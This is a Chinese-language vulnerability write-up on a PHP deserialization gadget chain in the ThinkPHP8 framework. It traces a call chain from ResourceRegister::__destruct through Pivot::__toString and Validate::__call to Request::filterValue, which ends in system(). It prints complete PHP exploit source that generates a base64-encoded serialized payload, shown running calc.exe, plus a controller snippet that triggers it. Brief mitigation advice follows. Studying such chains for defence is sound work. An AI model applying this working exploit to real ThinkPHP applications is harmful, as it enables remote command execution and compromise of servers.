thinkphp8 反序列化分析
字数 1148 2025-08-24 10:10:13
ThinkPHP8 反序列化漏洞分析与利用
1. 环境准备
1.1 基础环境搭建
# 创建ThinkPHP8项目
composer create-project topthink/think thinkphp8
# 启用多应用模式
composer require topthink/think-multi-app
php think build Payload
1.2 PHP调试配置
对于PHP8的Xdebug配置(与PHP7不同):
[Xdebug]
zend_extension = "D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php8.0.2nts\ext\php_xdebug.dll"
xdebug.mode= "debug"
xdebug.remote_handler = "dbgp"
xdebug.idekey="PHPSTORM"
xdebug.client_host="127.0.0.1"
xdebug.client_port=9001
xdebug.start_with_request=yes
xdebug.log_level=debug
2. 漏洞分析工具
使用Kunlun-M静态分析工具:
# 初始化数据库
python kunlun.py init initialize
# 加载规则
python kunlun.py config load
python kunlun.py config loadtamper
# 扫描漏洞
python kunlun.py scan -t D:\path\to\thinkphp8
# 使用反序列化链插件
python kunlun.py plugin php_unserialize_chain_tools -t D:\path\to\thinkphp8
# 查找入口页面
python kunlun.py plugin entrance_finder -t D:\path\to\thinkphp8 -l 3
3. 漏洞链分析
3.1 反序列化入口点
- Source点:
ResourceRegister类的__destruct方法 - 关键触发点:
__toString方法触发
3.2 调用链分析
完整调用链如下:
ResourceRegister::__destruct()ResourceRegister::register()Resource::parseGroupRule()Pivot::__toString()Model::toJson()Model::toArray()Model::appendAttrToArray()Model::getRelationWith()Validate::__call()Validate::is()Request::cookie()Request::filterValue()- 最终执行
system()函数
3.3 关键类分析
3.3.1 Request类
namespace think;
class Request {
protected $cookie = [];
protected $filter;
public function __construct() {
$this->cookie = ["1" => "calc.exe"];
$this->filter = "system";
}
}
3.3.2 Validate类
namespace think;
use think\Request;
class Validate {
protected $field = [];
protected $type = [];
public function __construct() {
$this->field = ['ddd'];
$this->type = ['visible' => [new Request(), 'cookie']];
}
}
3.3.3 Pivot类
namespace think\model;
use think\Validate;
class Pivot {
protected $append = [];
protected $visible = [];
protected $name;
protected $relation;
public function __construct() {
$this->append = ["eee" => "yyy.ttt"];
$this->relation = ["yyy" => new Validate()];
$this->visible = ["yyy" => "yyy"];
$this->name = "uuu";
$this->resultSetType = "iii";
}
}
3.3.4 Resource类
namespace think\route;
use think\model\Pivot;
class Resource {
protected $rule;
protected $option = [];
public function __construct() {
$this->rule = "ppp.sss";
$this->option = ["var" => ["ppp" => new Pivot()]];
}
}
3.3.5 ResourceRegister类
namespace think\route;
class ResourceRegister {
protected $resource;
public function __construct() {
$this->resource = new Resource();
}
}
4. 漏洞利用
4.1 生成Payload
use think\route\ResourceRegister;
$shiyan_3 = new ResourceRegister();
$payload_3 = urlencode(base64_encode(serialize($shiyan_3)));
echo $payload_3;
4.2 完整Payload示例
<?php
namespace think;
class Request {
protected $cookie = [];
protected $filter;
public function __construct() {
$this->cookie = ["1" => "calc.exe"];
$this->filter = "system";
}
}
namespace think;
use think\Request;
class Validate {
protected $field = [];
protected $type = [];
public function __construct() {
$this->field = ['ddd'];
$this->type = ['visible' => [new Request(), 'cookie']];
}
}
namespace think\model;
use think\Validate;
class Pivot {
protected $append = [];
protected $visible = [];
protected $name;
public function __construct() {
$this->append = ["eee" => "yyy.ttt"];
$this->relation = ["yyy" => new Validate()];
$this->visible = ["yyy" => "yyy"];
$this->name = "uuu";
$this->resultSetType = "iii";
}
}
namespace think\route;
use think\model\Pivot;
class Resource {
protected $rule;
protected $option = [];
public function __construct() {
$this->rule = "ppp.sss";
$this->option = ["var" => ["ppp" => new Pivot()]];
}
}
class ResourceRegister {
protected $resource;
public function __construct() {
$this->resource = new Resource();
}
}
use think\route\ResourceRegister;
$shiyan_3 = new ResourceRegister();
$payload_3 = urlencode(base64_encode(serialize($shiyan_3)));
echo $payload_3;
?>
4.3 触发漏洞
在控制器中反序列化Payload:
public function exec() {
$exec = "生成的payload字符串";
unserialize(base64_decode(urldecode($exec)));
}
5. 技术要点总结
-
反序列化入口选择:从
__destruct方法开始分析,寻找可控的类变量 -
调用链构造:利用
__toString方法作为跳板,触发更深的调用 -
参数控制:通过精心构造的数组和对象关系,控制最终执行的函数和参数
-
PHP特性利用:
- 利用
filterValue方法中的变量引用特性 - 利用
call_user_func_array的函数调用方式 - 利用
__call魔术方法的动态调用特性
- 利用
-
绕过限制:
- 通过
Validate类的is方法间接调用危险函数 - 利用
Request类的cookie方法传递参数 - 通过
Pivot类的__toString触发整个调用链
- 通过
6. 防御建议
- 避免反序列化用户可控的数据
- 对魔术方法进行安全审查
- 限制危险函数的使用
- 使用最新版本的框架,及时应用安全补丁
- 对输入数据进行严格过滤和验证
7. 学习要点
- 熟悉PHP各种魔术方法的触发条件和执行顺序
- 掌握静态分析工具的使用方法
- 学会拆分复杂调用链,分步骤分析
- 了解PHP内部函数的调用方式和参数传递机制
- 熟悉ThinkPHP框架的核心类和方法调用关系